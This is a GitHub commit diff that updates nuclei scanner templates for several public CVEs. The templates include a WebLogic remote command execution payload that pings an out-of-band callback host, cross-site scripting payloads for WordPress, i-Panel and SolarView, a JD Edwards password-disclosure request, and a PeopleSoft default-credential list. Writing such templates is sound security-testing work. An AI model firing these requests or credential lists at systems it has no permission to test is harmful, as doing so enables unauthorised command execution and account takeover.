Skip to content

Commit b7ee32c

Browse files
hktalenthktalent
committed
up PoCs 2022-09-23
1 parent 4fb555a commit b7ee32c

File tree

16 files changed

+325
-44
lines changed

16 files changed

+325
-44
lines changed

‎config/nuclei-templates/cves/2017/CVE-2017-10271.yaml

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ id: CVE-2017-10271
22

33
info:
44
name: Oracle WebLogic Server - Remote Command Execution
5-
author: dr_set,ImNightmaree
5+
author: dr_set,ImNightmaree,true13
66
severity: high
77
description: |
88
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
@@ -42,7 +42,7 @@ requests:
4242
<string>-c</string>
4343
</void>
4444
<void index="2">
45-
<string>interact.sh</string>
45+
<string>ping -c 1 {{interactsh-url}}</string>
4646
</void>
4747
</array>
4848
<void method="start"/></void>
@@ -85,7 +85,8 @@ requests:
8585
matchers:
8686
- type: dsl
8787
dsl:
88-
- regex("<faultstring>.*</faultstring>", body)
88+
- regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
89+
- contains(interactsh_protocol, "dns")
8990
- status_code == 500
9091
condition: and
9192

‎config/nuclei-templates/cves/2017/CVE-2017-8917.yaml

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,24 @@
11
id: CVE-2017-8917
22

33
info:
4-
name: Joomla! <3.7.1 - SQL Injection
4+
name: Joomla! < 3.7.1 - SQL Injection
55
author: princechaddha
66
severity: critical
77
description: |
88
Joomla! 3.7.x before 3.7.1 contains a SQL injection vulnerability that could allow attackers to execute arbitrary SQL commands via unspecified vectors.
99
reference:
10-
- https://www.cvedetails.com/cve/CVE-2017-8917/
1110
- https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
1211
- http://web.archive.org/web/20210421142819/https://www.securityfocus.com/bid/98515
1312
- http://web.archive.org/web/20211207050608/https://securitytracker.com/id/1038522
13+
- https://nvd.nist.gov/vuln/detail/CVE-2017-8917
1414
classification:
1515
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1616
cvss-score: 9.8
1717
cve-id: CVE-2017-8917
1818
cwe-id: CWE-89
19+
metadata:
20+
shodan-query: http.component:"Joomla"
21+
verified: "true"
1922
tags: cve,cve2017,joomla,sqli
2023

2124
variables:
@@ -30,6 +33,4 @@ requests:
3033
- type: word
3134
part: body
3235
words:
33-
- '{{md5({{num}})}}'
34-
35-
# Enhanced by mp on 2022/05/11
36+
- '{{md5(num)}}'

‎config/nuclei-templates/cves/2020/CVE-2020-2733.yaml

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
id: CVE-2020-2733
2+
3+
info:
4+
name: JD Edwards EnterpriseOne Tools - Admin Password Disclosure
5+
author: DhiyaneshDk,pussycat0x
6+
severity: critical
7+
description: |
8+
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics). The supported version that is affected is 9.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools.
9+
reference:
10+
- https://redrays.io/cve-2020-2733-jd-edwards/
11+
- https://www.oracle.com/security-alerts/cpuapr2020.html
12+
- https://nvd.nist.gov/vuln/detail/CVE-2020-2733
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
15+
cvss-score: 9.8
16+
cve-id: CVE-2020-2733
17+
metadata:
18+
shodan-query: port:8999 product:"Oracle WebLogic Server"
19+
verified: "true"
20+
tags: cve,cve2020,oracle,weblogic,disclosure,exposure
21+
22+
requests:
23+
- method: GET
24+
path:
25+
- '{{BaseURL}}/manage/fileDownloader?sec=1'
26+
27+
matchers-condition: and
28+
matchers:
29+
- type: word
30+
part: body
31+
words:
32+
- 'ACHCJK'
33+
34+
- type: word
35+
part: header
36+
words:
37+
- "text/plain"
38+
39+
- type: status
40+
status:
41+
- 200

‎config/nuclei-templates/cves/2021/CVE-2021-39320.yaml

Lines changed: 22 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,46 @@
11
id: CVE-2021-39320
22

33
info:
4-
name: WordPress underConstruction Plugin< 1.19 - Cross-Site Scripting
4+
name: WordPress underConstruction Plugin < 1.19 - Cross-Site Scripting
55
author: dhiyaneshDK
66
severity: medium
7-
description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
7+
description: |
8+
The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
89
reference:
910
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
10-
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
1111
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
12+
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
1213
classification:
1314
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1415
cvss-score: 6.1
1516
cve-id: CVE-2021-39320
1617
cwe-id: CWE-79
17-
tags: wordpress,xss,cve,cve2021,wp-plugin,wpscan
18+
metadata:
19+
verified: true
20+
tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
1821

1922
requests:
20-
- method: GET
21-
path:
22-
- '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'
23+
- raw:
24+
- |
25+
POST /wp-login.php HTTP/1.1
26+
Host: {{Hostname}}
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
log={{username}}&pwd={{password}}&wp-submit=Log+In
2330
31+
- |
32+
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
33+
Host: {{Hostname}}
34+
35+
cookie-reuse: true
2436
matchers-condition: and
2537
matchers:
2638
- type: word
2739
part: body
2840
words:
29-
- '</script><script>alert(document.domain)</script>'
41+
- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
42+
- 'under-construction'
43+
condition: and
3044

3145
- type: word
3246
part: header
@@ -36,5 +50,3 @@ requests:
3650
- type: status
3751
status:
3852
- 200
39-
40-
# Enhanced by mp on 2022/03/23

‎config/nuclei-templates/cves/2021/CVE-2021-41878.yaml

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -4,37 +4,40 @@ info:
44
name: i-Panel Administration System - Cross-Site Scripting
55
author: madrobot
66
severity: medium
7-
description: A reflected cross-site scripting vulnerability exists in the i-Panel Administration System Version 2.0 that enables a remote attacker to execute arbitrary JavaScript code in the browser-based web console.
7+
description: |
8+
A reflected cross-site scripting vulnerability exists in the i-Panel Administration System Version 2.0 that enables a remote attacker to execute arbitrary JavaScript code in the browser-based web console.
89
reference:
9-
- https://nvd.nist.gov/vuln/detail/CVE-2021-41878
1010
- https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
11-
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41878
11+
- https://nvd.nist.gov/vuln/detail/CVE-2021-41878
12+
- https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878
1213
classification:
1314
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1415
cvss-score: 6.1
1516
cve-id: CVE-2021-41878
1617
cwe-id: CWE-79
17-
tags: cve,cve2021,justwriting,xss
18+
metadata:
19+
verified: "true"
20+
tags: cve,cve2021,ipanel,xss
1821

1922
requests:
2023
- method: GET
2124
path:
22-
- '{{BaseURL}}/lostpassword.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
25+
- '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E'
2326

2427
matchers-condition: and
2528
matchers:
26-
- type: status
27-
status:
28-
- 200
29-
3029
- type: word
31-
words:
32-
- "</script><script>alert(document.domain)</script>"
3330
part: body
31+
words:
32+
- '><img src=a onerror=alert("document.domain")>'
33+
- 'i-Panel Administration'
34+
condition: and
3435

3536
- type: word
37+
part: header
3638
words:
3739
- "text/html"
38-
part: header
3940

40-
# Enhanced by mp on 2022/02/27
41+
- type: status
42+
status:
43+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-31373.yaml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
id: CVE-2022-31373
22

33
info:
4-
name: SolarView Compact 6.00 - Cross-Site Scripting
4+
name: SolarView Compact 6.00 - Cross-Site Scripting(XSS)
55
author: ritikchaddha
66
severity: medium
77
description: |
8-
SolarView Compact 6.00 contains a cross-site scripting vulnerability via the Solar_AiConf.php component.
8+
SolarView Compact v6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component Solar_AiConf.php.
99
reference:
1010
- https://github.com/badboycxcc/SolarView_Compact_6.0_xss
1111
- https://nvd.nist.gov/vuln/detail/CVE-2022-31373
@@ -30,6 +30,8 @@ requests:
3030
part: body
3131
words:
3232
- '/Solar_AiConf.php/"><script>alert(document.domain)</script>'
33+
- 'HREF="Solar_Service.php"'
34+
condition: and
3335

3436
- type: word
3537
part: header
@@ -39,5 +41,3 @@ requests:
3941
- type: status
4042
status:
4143
- 200
42-
43-
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2022/CVE-2022-35405.yaml

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,11 +44,18 @@ requests:
4444
4545
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>big0us</value></param></params></methodCall>
4646
47+
stop-at-first-match: true
4748
matchers:
4849
- type: word
4950
part: body
5051
words:
51-
- "faultString"
52+
- "<name>faultString</name>"
5253
- "No such service [ProjectDiscovery]"
53-
- "methodResponse"
54+
condition: or
55+
56+
- type: word
57+
part: body
58+
words:
59+
- "<methodResponse>"
60+
- "</methodResponse>"
5461
condition: or

‎config/nuclei-templates/default-logins/oracle/peoplesoft-default-login.yaml

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
id: peoplesoft-default-login
2+
3+
info:
4+
name: Oracle PeopleSoft Default Login
5+
author: LogicalHunter
6+
severity: high
7+
description: Oracle peoplesoft default admin credentials were discovered.
8+
reference:
9+
- https://www.oracle.com/applications/peoplesoft/
10+
- https://erpscan.io/press-center/blog/peoplesoft-default-accounts/
11+
classification:
12+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
13+
cvss-score: 8.3
14+
cwe-id: CWE-522
15+
metadata:
16+
verified: true
17+
shodan-query: title:"Oracle PeopleSoft Sign-in"
18+
tags: default-login,peoplesoft,oracle,fuzz
19+
20+
requests:
21+
- method: POST
22+
path:
23+
- "{{BaseURL}}/psc/ps/?&cmd=login&languageCd=ENG"
24+
- "{{BaseURL}}/psp/csperf/?&cmd=login&languageCd=ENG"
25+
- "{{BaseURL}}/psp/FMPRD/?&cmd=login&languageCd=ENG"
26+
- "{{BaseURL}}/psp/csprd/?&cmd=login&languageCd=ENG"
27+
- "{{BaseURL}}/psp/hcmprdfp/?&cmd=login&languageCd=ENG"
28+
- "{{BaseURL}}/psp/HRPRODASP/?&cmd=login&languageCd=ENG"
29+
- "{{BaseURL}}/psp/guest/?&cmd=login&languageCd=ENG"
30+
- "{{BaseURL}}/psp/CSPRD_PUB/?&cmd=login&languageCd=ENG"
31+
- "{{BaseURL}}/psp/LHCGWPRD_1/?&cmd=login&languageCd=ENG"
32+
- "{{BaseURL}}/psp/CCHIPRD_2/?&cmd=login&languageCd=ENG"
33+
- "{{BaseURL}}/psp/applyuth/?&cmd=login&languageCd=ENG"
34+
- "{{BaseURL}}/psp/HRPRD/?&cmd=login&languageCd=ENG"
35+
- "{{BaseURL}}/psp/CAREERS/?&cmd=login&languageCd=ENG"
36+
- "{{BaseURL}}/psp/heprod_5/?&cmd=login&languageCd=ENG"
37+
- "{{BaseURL}}/psp/saprod/?&cmd=login&languageCd=ENG"
38+
- "{{BaseURL}}/psp/hr857prd_er/?&cmd=login&languageCd=ENG"
39+
- "{{BaseURL}}/psp/CHUMPRDM/?&cmd=login&languageCd=ENG"
40+
- "{{BaseURL}}/psp/HR92PRD/?&cmd=login&languageCd=ENG"
41+
- "{{BaseURL}}/psp/cangate_1/?&cmd=login&languageCd=ENG"
42+
- "{{BaseURL}}/psp/ihprd/?&cmd=login&languageCd=ENG"
43+
44+
body: "timezoneOffset=360&ptmode=f&ptlangcd=ENG&ptinstalledlang=ENG&userid={{username}}&pwd={{password}}&ptlangsel=ENG"
45+
headers:
46+
Content-Type: application/x-www-form-urlencoded
47+
48+
attack: pitchfork
49+
payloads:
50+
username:
51+
- PS
52+
- VP1
53+
- PSADMIN
54+
- PSEM
55+
- PSHC
56+
- PSCR
57+
- HFG
58+
- PSPY
59+
- HHR_JPM
60+
- HHR_CMP
61+
password:
62+
- PS
63+
- VP1
64+
- PSADMIN
65+
- PSEM
66+
- PSHC
67+
- PSCR
68+
- HFG
69+
- PSPY
70+
- HHR_JPM
71+
- HHR_CMP
72+
73+
stop-at-first-match: true
74+
matchers-condition: and
75+
matchers:
76+
- type: word
77+
part: header
78+
words:
79+
- 'Set-Cookie: PS_TOKEN='
80+
81+
- type: status
82+
status:
83+
- 302

‎config/nuclei-templates/exposed-panels/oracle-business-intelligence.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: oracle-business-intelligence
2+
3+
info:
4+
name: Oracle Business Intelligence Sign In
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.title:"Oracle Business Intelligence Sign In"
10+
tags: panel,oracle
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/saw.dll?bieehome&startPage=1"
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- "<title>Oracle Business Intelligence Sign In</title>"
23+
24+
- type: status
25+
status:
26+
- 200

0 commit comments

Comments
 (0)